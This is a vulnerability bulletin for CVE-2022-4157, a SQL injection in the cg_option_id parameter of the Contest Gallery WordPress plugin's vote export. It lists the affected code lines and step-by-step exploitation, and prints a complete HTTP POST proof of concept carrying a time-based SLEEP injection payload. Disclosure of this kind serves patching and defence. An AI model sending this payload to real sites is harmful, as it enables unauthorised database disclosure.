Headline
CVE-2022-4157: Security Bulletin
The Contest Gallery WordPress plugin before 19.1.5.1, Contest Gallery Pro WordPress plugin before 19.1.5.1 do not escape the cg_option_id POST parameter before concatenating it to an SQL query in export-votes-all.php. This may allow malicious users with administrator privileges (i.e. on multisite WordPress configurations) to leak sensitive information from the site’s database.
contest-gallery 19.1.4.1 WordPress plug-in SQL injection****Vulnerability Metadata
Key
Value
Date of Disclosure
December 05 2022
Affected Software
contest-gallery
Affected Software Type
WordPress plugin
Version
19.1.4.1
Weakness
SQL Injection
CWE ID
CWE-89
CVE ID
CVE-2022-4157
CVSS 3.x Base Score
x
CVSS 2.0 Base Score
x
Reporter
Kunal Sharma, Daniel Krohmer
Reporter Contact
Link to Affected Software
https://wordpress.org/plugins/contest-gallery/
Link to Vulnerability DB
https://nvd.nist.gov/vuln/detail/CVE-2022-4157
Vulnerability Description
The cg_option_id POST query parameter in contest-gallery 19.1.4.1 is vulnerable to SQL Injection. An authenticated attacker may abuse the Export all votes functionality in cg_votes_csv_export_all function inside export-votes-all.php. This leads to a threat actor crafting a malicious POST request.
Exploitation Guide
Login as admin user. This attack requires at least admin privileges.
Create a New Gallery, if no gallery was created before.
Change the Gallery name.
Click on Edit gallery.
Click Export all votes
Clicking Export all votes triggers the vulnerable request, the cg_option_id POST parameter is the vulnerable query parameter.
A POC may look like the following request:
In the application code, the vulnerability is triggered by un-sanitized user input of cg_option_id at line 19 in ./v10/v10-admin/export/export-votes-all.php.
At lines 54-60 in ./v10/v10-admin/export/export-votes-all.php the database query call on $GalleryID leads to SQL Injection.
At lines 99-110 in ./v10/v10-admin/export/export-votes-all.php the vulnerable input is again passed to variable- $queryString .
At line 112 in ./v10/v10-admin/export/export-images-data.php the database query call on $GalleryID leads to SQL Injection.
Exploit Payload
Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.
Since the vulnerable query parameter cg_option_id is passed to two database queries, we can notice the sleep time of the request being four times(4 invocation) the given argument inSLEEP()*(~12,000 milliseconds here as SLEEP(3)).
The SQL injection can be triggered by sending the request below:
POST /wp-admin/admin.php?page=contest-gallery/index.php&option_id=1&cg_export_votes=true HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
Origin: http://localhost:8080
Connection: close
Cookie: wordpress_37d007a56d816107ce5b52c10342db37=kaiba%7C1668483239%7CK8EB5hjVfjEvvJBQHeOyVpkJ8eKTSgY1ZwNZ9Gu6mIr%7Cafb735282dd2e1aeaff1d135419c00400e4e0e2a1d85809d6b54f126cfcd1883; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=kaiba%7C1668483239%7CK8EB5hjVfjEvvJBQHeOyVpkJ8eKTSgY1ZwNZ9Gu6mIr%7C7ebf6c23f43d24912558008e7e934286452154ec3874ac04b09a1f136b885df3; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse; wp-settings-time-1=1668310439
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
cg_export_votes=true&cg_export_votes_all=true&cg_option_id=1+AND+(SELECT+7394+FROM+(SELECT(SLEEP(3)))UrUZ)